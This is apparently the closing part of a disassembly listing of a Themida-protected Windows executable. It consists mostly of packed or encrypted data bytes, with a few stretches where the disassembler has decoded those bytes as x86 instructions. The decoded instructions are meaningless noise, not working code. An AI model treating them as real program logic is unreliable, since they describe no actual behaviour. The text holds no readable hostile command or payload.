		dd 4685AB80h, 0AE0038B9h, 2F00F480h, 0F8E89797h, 0A8FF737Ch
		dd 0E6B0970Bh, 0F0AEEABh, 5610C9FCh, 88FCF609h,	11FC4068h
		dd 3BB8327Fh, 285D740h,	1200FCB9h, 6A00B880h, 0C2C40483h
		dd 8F7CF58Ah, 29661C90h, 0C8C5509h, 0EDABB490h,	0F6390405h
		dd 0B2004C80h, 0CE096DC0h, 3685E6D0h, 0BC00A0B9h, 0DB84F977h
		dd 0AE804890h, 71751480h, 0C30A5830h, 121095FDh, 0B83D932Ah
		dd 5D187538h, 66399405h, 4201DC80h, 0BE02DC80h,	0A7A57EA9h
		dd 660050B9h, 0D70A0F64h, 3E10E1FDh, 0B2660FE6h, 53F78001h
		dd 0A2100504h, 6E000A80h, 0F2B4D6F5h, 3F7D058Ah, 79666C90h
		dd 0DCA88509h, 0FAB80490h, 9D00D0A9h, 3B841977h, 0CE086890h
		dd 0EB743480h, 99FC2068h, 0B6853B7Fh, 0FE0088B9h, 0BF006484h
		dd 9CB8808Bh, 72398205h, 63EB6280h, 0C3841177h,	0CE006090h
		dd 83752C80h, 0BE8340E6h, 137E618Ah, 5D669090h,	29AA9CB3h
		dd 0A7B84E95h, 24A5FE98h, 0E600D0B9h, 570A8F64h, 0BE1061FEh
		dd 0FF78FE6h, 5610C904h, 2200AC80h, 2E8130E6h, 7E8057F4h
		dd 0F8A52A88h, 3400FCB9h, 9BB6B72Bh, 0EA10BD02h, 4DAFB82Bh
		dd 7F7E37Fh, 4E10D104h,	5A00B480h, 0B6B08EF4h, 8B7CC982h
		dd 96AA1890h, 0B5FF1F15h, 9FFEFF0Dh, 0F242EC0Dh, 2A85BF80h
		dd 7A0004B9h, 3280E080h, 0B8E81C8Ch, 6ABDF12Bh,	410054C2h
		dd 8DE1F885h, 28E8237Fh, 0F9FF577Bh, 0CA39F005h, 0A7004080h
		dd 0C20B7980h, 4285D2C0h, 0A000B4B9h, 6E667F6Bh, 70AFC03h
		dd 6E1031FCh, 3BB07FE6h, 8285572Ah, 0D2007CB9h,	0EB003A80h
		dd 0EE85F3AFh, 3600C0B9h, 77009880h, 0C4C0D89Ah, 8A394A05h
		dd 0E5A58A80h, 0F300DCB9h, 46668860h, 7AABE5E6h, 2608DB80h
		dd 1C85F6C0h, 8400D8B9h, 0C3841177h, 0C6006090h
; ---------------------------------------------------------------------------


loc_612D20:				; DATA XREF: ___:off_444580o
		mov	ds:8340E682h[esi*2], ch
		mov	dh, 8Ah
		popa
		jge	short loc_612D3F
		nop
		nop
		pop	bp
		xor	[ebp-15h], bl
		retf	6030h
; ---------------------------------------------------------------------------
		dw 0B0Ah
		dd 5A10CDFDh
		db 2Ah,	28h, 0DFh
; ---------------------------------------------------------------------------


loc_612D3F:				; CODE XREF: Themida_:00612D2Aj
		fdivr	qword ptr [edi+73h]
		div	dword ptr [edi+4]
		popa
		adc	[esi-75EFDB80h], bh
		xor	[ebp+4E67375h],	eax
		sbb	edx, 0FFFFFF8Ah
		sub	eax, 5490D77Dh
		adc	[ebx+3DAFAAE0h], si
		jl	short loc_612DA5
		inc	edx
		or	byte ptr [edi-7Bh], 9Ah
		mov	ecx, 80EA0094h	; CODE XREF: Themida_:00612DA8j
		jo	short $+2

locret_612D6F:				; CODE XREF: Themida_:00612D87j
		retn
; ---------------------------------------------------------------------------
		dd 6977AD9Fh
		db 9Bh
byte_612D75	db 8Eh,	0B8h, 47h	; CODE XREF: Themida_:loc_612DE3j
; ---------------------------------------------------------------------------
		cwde
		mov	esi, 90B967A5h
		add	[esi], ah
		db	64h
		dec	edi
		or	dl, [edi]
		std
		and	[eax], edx
		jle	short locret_612D6F
		dec	edi
		sub	edi, esi
		adc	dl, dh
		adc	[esi], dl
		or	bh, [ebp+0A10478Ah]
		adc	[esi+22B0BFE6h], ch
		and	byte ptr [ebp+7Ch], 7Fh
		nop
		lodsb
		stosb
		cli
		stc


loc_612DA5:				; CODE XREF: Themida_:00612D61j
		cmp	bh, 21h
		ja	short near ptr loc_612D68+3
		test	[ebx+76031090h], dl
		sbb	ch, 74h
		outsb
		ja	short loc_612DE3
		test	[edi], dh
		nop
		jz	short $+2
		fiadd	dword ptr [eax+77867544h]
		mov	[ebx+ecx*2+3E00D890h], eax
		and	byte ptr [edi-5197FF8Bh], 0F9h ; CODE XREF: Themida_:00612DD4j
		sub	[edi-2Ch], edi
		dec	ebx
		pop	eax
		jg	short near ptr loc_612DC8+5
		call	near ptr 0FF8CA849h
		rol	cl, cl
		pop	edx
; ---------------------------------------------------------------------------
		dw 0F9FFh
		db 77h,	0E9h, 84h
; ---------------------------------------------------------------------------


loc_612DE3:				; CODE XREF: Themida_:00612DB4j
		jmp	short near ptr byte_612D75
; ---------------------------------------------------------------------------
		db 38h,	0, 9Eh
		dd 62740C80h, 0DEAA1930h, 0FDFF66ADh, 0F784ED77h, 9A003490h
		dd 4C741080h, 0B72ACB30h, 0FE10A1FCh, 0C71A8441h, 96243809h
		dd 5B7C5982h, 0CAC0C890h, 0FEC41483h, 3FFF882Bh, 0F3B0D37Fh
		dd 0A7F7102Ah, 92663B7Fh, 530A707Fh, 0C21065FCh, 68E883E6h
		dd 0ADFF0B79h, 36394405h, 0F200AC80h, 35442C80h, 28DAF47h
		dd 7D00E0C2h, 0DE413541h, 6B0AD030h, 0BA106DFCh, 7FBFC82Ah
		dd 0D7F7137Fh, 1E108104h, 0EA408480h, 0E665CF4h, 70ADFD0h
		dd 4E10D1FCh, 0A266BE6Bh, 430A607Fh, 0B21075FCh, 0E8E8B3E6h
		dd 0BDFF1B79h, 6393405h, 0E2007F80h, 255F3C81h,	0DA859F4Fh
		dd 6D00F0C2h, 0EE482548h, 5BF7B1B3h, 0AA107D04h, 76801080h
		dd 0C78DD2F5h, 0E1091FCh, 5A407C0Ah, 5E734379h,	36CD080Dh
		dd 0FF00C8A4h, 81B0AC60h, 0B006932Bh, 0C4C00D38h, 0E1B86E2Bh
		dd 3AB8BC00h, 0E702A080h, 7958C7E6h, 9875F105h,	0AA31BCE6h
		dd 0F5B07BE6h, 0FB2B742Ah, 4BF7977Fh, 9A100D04h, 0E6000080h
		dd 0FD8BD6F4h, 0BCB41D0Bh, 22B6490h, 7EFC7809h,	9DFF05FFh
		dd 0C6AA0B30h, 5FF6D85h, 0FF90E50Dh, 17F72C90h,	5E10C104h
		dd 0A00C480h, 0DD5796F5h, 0DBEB0478h, 0A5287B0Bh, 0D1D0DF78h
		dd 3642680Dh, 7A958D80h, 0BF0048C2h, 0AE44AFB9h, 3EBD7984h
		dd 0A900AC90h, 0FE42043Dh, 32857F80h, 710030C2h, 42396805h
		dd 1E00F880h, 1D02F080h, 0B2C2FB58h, 1574A80h, 5E422C3Dh
		dd 9E0FB480h, 0E6008159h, 0B2004168h, 2C455380h, 794CA1CEh
		dd 5A449EB2h, 77FF7CCCh, 0AE1076F2h, 38D89109h,	0CD53E090h
		dd 0CA0390D8h, 55280B7Fh, 0B3E870C3h, 0FDFFEF75h, 52426415h
		dd 4C03F380h, 685FD8Ch,	0A50050C2h, 0F78904C2h,	3E109A60h
		dd 0F528D70Bh, 0D600F033h, 56F2D480h, 0D38BF77Fh, 3A109638h
		dd 0F2E648D6h, 478B937Fh, 9E107A38h, 69084E0Bh,	0F82BDCCAh
		dd 0D057503h, 0CE010808h, 0C0843B80h, 65000081h, 22427035h
		dd 86B59B80h, 660074C2h, 130FD8BCh, 6200FC22h, 5048E0Dh
		dd 0EA42EC05h, 96066380h, 6DF48F68h, 0E6BD7B7Fh, 2A00D4C2h
		dd 0B13B9BF5h, 0D983538Ch, 65002881h, 0E295CD8Ch, 2900D0C2h
		dd 0F2018105h, 0C6855B80h, 0EC0034C2h, 73FFC801h, 22FC398Fh
		dd 0AE8B8880h, 8E437F82h, 7266C8D0h, 0EF39137Fh, 1E10FA38h
		dd 0EAE4018Fh, 33035080h, 82105E3Ch, 0C786D83h,	1A8BB490h
		dd 0E90CC7ABh, 0B2008102h, 76472380h, 4AC4678Fh, 0D683B080h
		dd 0F6477F82h, 0EC78CD83h, 2A521490h, 4D8557Fh,	87FFAC90h
		dd 0DE1046B2h, 0A5C0C1DAh, 7600A705h, 429C3580h, 0F13CA880h
		dd 0DA94F18Fh, 98804080h, 0F9850395h, 0B500D880h, 492BA5C6h
		dd 23E820B4h, 9BFFC373h, 7E42B03Dh, 3977A180h, 16421C05h
		dd 0AA856F80h, 170028C2h, 7A42E005h, 0D005B80h,	12424005h
		dd 0F5081A80h, 8A42D405h, 5B697280h, 4200CC80h,	0E1E8AFF2h
		dd 47006480h, 578BCCCEh, 2003FEABh, 0CA85F390h,	8F0084C2h
		dd 0D6C4E38Ch, 0D68F1D7Fh, 0B561E4A4h, 0AF8F079Bh, 0F610D218h
		dd 0BAB5D7E0h, 660038C2h, 0A5FF0013h, 260069E1h, 0FC750C80h
		dd 0CC0C1FABh, 82471F89h, 0A93C728Fh, 2D49437Fh, 11FE3A05h
		dd 9E3CDF7Fh, 0AF848701h, 0ADFFEC80h, 5CEB577Fh, 8A24CE01h
		dd 0F8E05080h, 8E8BDCB3h, 8A856FA4h, 9300A4C2h,	0F6424005h
		dd 3AB9C180h, 7D0018A9h, 5A429C05h, 0B3A5D680h,	0E1C657CEh
		dd 0EC2B5CC2h, 8146D28Ch, 15812768h, 1700AC80h,	57007880h
		dd 0F45FB8C6h, 0E3FF4743h, 4210E2FEh, 11F4041h,	0DA016E05h
		dd 0CC541080h, 8DFF66A8h, 2E3E0615h, 55C02180h,	0D705F88Fh
		dd 2EE83C80h, 86FFF764h, 3A00D491h, 4074C5D3h, 816500E9h
		dd 0EC755BE5h, 2B7970E9h, 7AB52F80h, 0FD008CC2h, 0DE3E5A15h
		dd 0CE85BD80h, 8E0010C2h, 3200CC99h, 9F54FDD3h,	0BD4F01EBh
		dd 0E57255EEh, 327095E8h, 4776A1F2h, 9F67F1ECh,	9BE83780h
		dd 7AFFD368h, 5E00F893h, 4F52A1D3h, 846FE4F3h, 0AB720CE5h
		dd 0EB6C41F6h, 0D0091E7h, 0D9E8FF68h, 0F212647Fh, 0DB535880h
		dd 0E16345C2h, 245080F5h, 4E69CAE9h, 0EE65EFE5h, 5222BCD7h
		dd 9EE8DF7Fh, 100EC80h,	7F68FBE5h, 0A465E3EEh, 0D06924EFh
		dd 0EB724CF9h, 2B6C81F6h, 4D00D1E7h, 19E77F68h,	3F541C7Fh
		dd 6E3D8805h, 1A648E80h, 0E957B1EAh, 0F23E9615h, 8A3CC180h
		dd 4426817Fh, 862AE090h, 5348110Dh, 8E507890h, 3AB5BBD0h
		dd 1E0000BDh, 4204DC81h, 5901C2D4h, 9854E17Fh, 0CC544090h
		dd 0E7FF5B84h, 3E109AD4h, 0F5146003h, 0C6423C35h, 0C095C380h
		dd 310018BEh, 72B55943h, 5000B0C1h, 0EC66F97Fh,	66833890h
		dd 0D1840B7Fh, 0BF00D080h, 1242C405h, 98000280h, 0A4A2A17Fh
		dd 0A6850090h, 32A4488Fh, 3E2B9880h, 0C96A34D0h, 0FE015AD0h
		dd 0A200FC80h, 6C9537D6h, 790084BEh, 420F9F78h,	92002A87h
		dd 1C5C7D09h, 0A78DC490h, 0F610D2E0h, 8068C90Dh, 0DC512890h
		dd 0A550F4EAh, 363EAE15h, 0DF80F80h, 0BBD5DC8Fh, 8A6A2480h
		dd 145C457Fh, 0B7FFBC90h, 0EE10B6EAh, 0B5FFAC03h, 86059E04h
		dd 22856580h, 2D00A8C2h, 0BBC38749h, 0B26A01D0h, 0DEB5E3D1h
		dd 0B100F8C2h, 0A3EF215h, 0E9C00580h, 0B205D604h, 0F7C92B80h
		dd 5A429005h, 4751E180h, 0ED0063E8h, 3BFF1880h,	7A102A0Eh
		dd 0C20F2005h, 1200A9D3h, 9C78FD09h, 12C34490h,	7600626Bh
		dd 0B538970Bh, 1E392C05h, 0DA007480h, 0A50635A0h, 62106405h
		dd 3DD2EB80h, 0FDF15341h, 5285F961h, 1A002CC2h,	6E00210Fh
		dd 393C9F0Bh, 1610C805h, 0D1D25F80h, 69F1CF41h,	16858D61h
		dd 0F500C0C2h, 44B2B8Fh, 43358B79h, 2D0F2CD3h, 0B60314C3h
		dd 1AC1A7C9h, 0C4814883h, 0A46913DFh, 151D4479h, 1001F0FAh
		dd 124B4360h, 0F914D60Bh, 828D70C2h, 4BF7D3C8h,	0DB3B39A3h
		dd 2A1086F0h, 0D2541B43h, 4DC06F90h, 8E009002h,	958B3780h
		dd 9B8DCB6Bh, 0F210CDC8h, 8DDFD37Ch, 0EB3C8849h, 2C3CF6F2h
		dd 22CBEF7h, 9A5CB42Ah,	0CE2E686Ch, 0F3001C5Dh,	0D9C90F68h
		dd 46458581h, 0E17484C5h, 0E44303BDh, 0B1851380h, 0C5FF177Fh
		dd 53578983h, 620FC3CEh, 4DFFB3A6h, 2B434FBDh, 5184EBCEh
		dd 2BFF4F7Fh, 0D0333FD7h, 5110CC8Fh, 2A3DEB7Fh,	494FB4D3h
		dd 0EDFFA904h, 36DB4B7Fh, 55FFBAADh, 8CE800F5h,	0AAFF237Ch
		dd 0F1FF56A1h, 24ECF08Fh, 7433BF7Fh, 72001A68h,	0C1633080h
		dd 0AE85B7Fh, 8B007080h, 9613D101h, 94E90890h, 5E00D483h
		dd 0B38B927Fh, 0D2102EF8h, 0F822B1E4h, 304D3A01h, 35E3558Fh
		dd 5C8B9C80h, 0A8DE6BBCh, 0DF500F01h, 65D3858Fh, 71F7CC80h
		dd 0FE209896h, 0C856B80h, 60003083h, 6D02A0C3h,	2E037404h
		dd 0F2431F80h, 66A0C0BDh, 3C842320h, 6300F883h,	0A20E4A0h
		dd 0F5A3148Fh, 498B5C80h, 8E002848h, 0B251E263h, 0D9FF2F08h
		dd 0B0BC0183h, 70035890h, 8A404503h, 56449103h,	0DDFE2768h
		dd 9482877Fh, 39005483h, 9642E025h, 108BEC80h, 0E4A3388h
		dd 0EE7345ABh, 0B3EB90B3h, 0C889D483h, 0CE856190h, 1900A4C2h
		dd 0E6B88CCAh, 0E3004D80h, 81E6A668h, 0C895D47Fh, 0A700A0B9h
		dd 61B54CA0h, 0C40058B9h, 22C9EAA0h, 0E2E8F4F8h, 97FF5366h
		dd 1C947752h, 3F31A653h, 76102904h, 0C7F7396Bh,	0E109104h
		dd 0DB007480h, 23F762F4h, 72103504h, 3E00D883h,	0AF81A8F5h
		dd 0D6104904h, 59FFC37Fh, 0E381026Bh, 3A10ED04h, 0E00A080h
		dd 0D2006AE8h, 98686180h
		dd 32000480h, 0C9E68668h, 7E85167Fh, 480078B9h,	0A37C1E04h
		dd 0E3880090h, 3210F5FCh, 7BF77862h, 0CA105D04h, 96003088h
		dd 0DF80F5F5h, 2E10F1FEh, 0DC5E081h, 0D639E405h, 92002C80h
		dd 0DE1B8C88h, 3A39B83Dh, 46749580h, 0FB7DE100h, 0FA052890h
		dd 24BD7427h, 2300D0B9h, 77F712F4h, 0BE106104h,	9A002480h
		dd 0EB80F9F4h, 221085FCh, 6D89FF82h, 0AA429025h, 20E82080h
		dd 0BAFF1372h, 0E1FF45C3h, 0EA02F568h, 0CA9DDB80h, 81000CC2h
		dd 5E42681Dh, 0E65B5C80h, 620F7F7Fh, 0B2004ED1h, 3C78AD0Bh
		dd 148BE490h, 0FEDEB3BCh, 1DFF81DCh, 0AC3BCA8Fh, 30811480h
		dd 460080A4h, 40FE2760h, 0CA7A7BD6h, 5D103E83h,	66399405h
		dd 4200DC80h, 8714DDA0h, 0CA42BC3Dh, 36B5CD80h,	0F9001CB9h
		dd 2E10B00Dh, 5DA45780h, 0D60A1439h, 0A2B5B180h, 9D001890h
		dd 0D9006525h, 0F1A45382h, 0C239E805h, 9E003880h, 0C4840BA0h
		dd 0C900D080h, 0D3E8B4F3h, 45FF976Dh, 8A428C15h, 69D28580h
		dd 32005404h, 86B51380h, 410074C2h, 0DC8120CAh,	62009CA4h
		dd 264AE360h, 333396F3h, 0FD141283h, 8210440Dh,	368D7380h
		dd 5800D490h, 0D23C1BD6h, 0D268F903h, 0D002890h, 5A009C27h
		dd 5C8BC080h, 0FA4A8D88h, 4987AF83h, 0C88CA10Bh, 0D3F7F090h
		dd 22108504h, 0EE0088C0h, 0A2F756F4h, 0AF0C5283h, 96B565B0h
		dd 9500A8C2h, 0DA01ACF3h, 8F84D577h, 82401C90h,	4C74E880h
		dd 0F251AC77h, 19FF7CABh, 0B10CA7D9h, 0C2B30F3h, 0B956B58Ch
		dd 9B59EF24h, 0F239EC35h, 66BDC180h, 890004C2h,	495EBF24h
		dd 958D3EB1h, 0DE0079BFh, 9382D1BAh, 70751090h,	14780EE9h
		dd 8766BAB4h, 0FDE89DD0h, 0FCFFBF5Ah, 710C460Bh, 0BBF7C8CAh
		dd 0A109D04h, 0F6007080h, 0D7057D0Dh, 0AA8D8193h, 3900C4C2h
		dd 1610C805h, 0BAA7EF80h, 9E003880h, 0E32847ABh, 36008307h
		dd 42856B80h, 0CF0078BFh, 0EE003480h, 6E43C787h, 92A06C20h
		dd 0C7841D77h, 0CA006490h, 91742080h, 955B14D2h, 0A55A377Fh
		dd 0EA42500Dh, 4F058380h, 9FEB04CBh, 1CC0750Bh,	28E3C490h
		dd 0BD8B936Bh, 4685ABA8h, 8D0038B9h, 2E00F480h,	0EE854B94h
		dd 0F1009CC2h, 0AE42E80Dh, 26852780h, 5700E0C2h, 324A3788h
		dd 0AC7C0D0Bh, 0F0395490h, 0F035388h, 1001E4CAh, 46633B90h
		dd 6E850F80h, 0DE0040C2h, 82003510h, 1708AA81h,	9050F781h
		dd 0F6390215h, 3685BB80h, 7E0008B9h, 3E20E480h,	7E8DB386h
		dd 54006C90h, 2A85BF80h, 7A0004B9h, 3300E280h, 0E5C65294h
		dd 0CE39FC05h, 0AE004480h, 0FC066580h, 52395F35h, 8A855F80h
		dd 0DA0064B9h, 0D30040C0h, 7007868Bh, 0E8027242h, 3EB5362h
		dd 1432770Ah, 40D63E2Ah, 0AD23B77h, 0B564F60Bh,	0BB83F882h
		dd 0D2102EDCh, 21843780h, 95FFFB7Ah, 2642A835h,	0B0956380h
		dd 310078BEh, 8A424035h, 4095FF80h, 0BF00DCBEh,	0EE42F80Dh
		dd 0A295E980h, 0C70020C2h, 9D0096D2h, 3E429435h, 5C956B80h
		dd 390070BEh, 82427035h, 78950780h, 0A700D4BEh,	0E641D835h
		dd 9AB5A380h, 0D80038C2h, 64A2617Fh, 8383C090h,	0F210CEDCh
		dd 0BEE89B80h, 0D7002480h, 0BB81F1EAh, 2210840Fh, 2F0F78D8h
		dd 0AA15D405h, 45C0A580h, 0A2FF2403h, 9E85798Fh, 29009495h
		dd 9C0040BDh, 0E41C6980h, 42249401h, 975C5ECh, 19C468E0h
		dd 0B775B37Fh, 81FAAD68h, 0B5D20C7Fh, 38614F7Fh, 0B478517Fh
		dd 8BB85AB4h, 1A001480h, 0B9FF4568h, 9939D97Fh,	53305CC4h
		dd 0BA410C35h, 7E509B80h, 443A5DE6h, 5825DB82h,	250074E8h
		dd 0CCC4CB80h, 8D505E80h, 2E3E2A15h, 2C42780h, 0E95C4E01h
		dd 0A17560BFh, 8604CE03h, 0C5FF2EE2h, 0F9FFDF68h, 6AC30D7Fh
		dd 9E0038F4h, 45B8B56Bh, 0DE00D080h, 2009C9Dh, 76004842h
		dd 9A0034B0h, 66001068h, 32240E80h, 0FE011D38h,	0CA038C80h
		dd 0BAC23080h, 46547180h, 0AD2E058Ch, 0E37C9478h, 0C60088E0h
		dd 0C68B2C80h, 0D55DC8A4h, 4CED459Ah, 1E0080B9h, 3DFFBC67h
		dd 8E04EAE1h, 5D06F781h, 8A43C582h, 4990CCFAh, 119415FFh
		dd 0FF8B0100h, 0C80h dup(0)
		db 2 dup(0)
word_616C4E	dw 0			; DATA XREF: ___:off_444324o
		dd 8ECh	dup(0)
Themida_	ends

; Section 5. (virtual address 00219000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00219000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 619000h
		align 2000h
_idata2		ends


		end start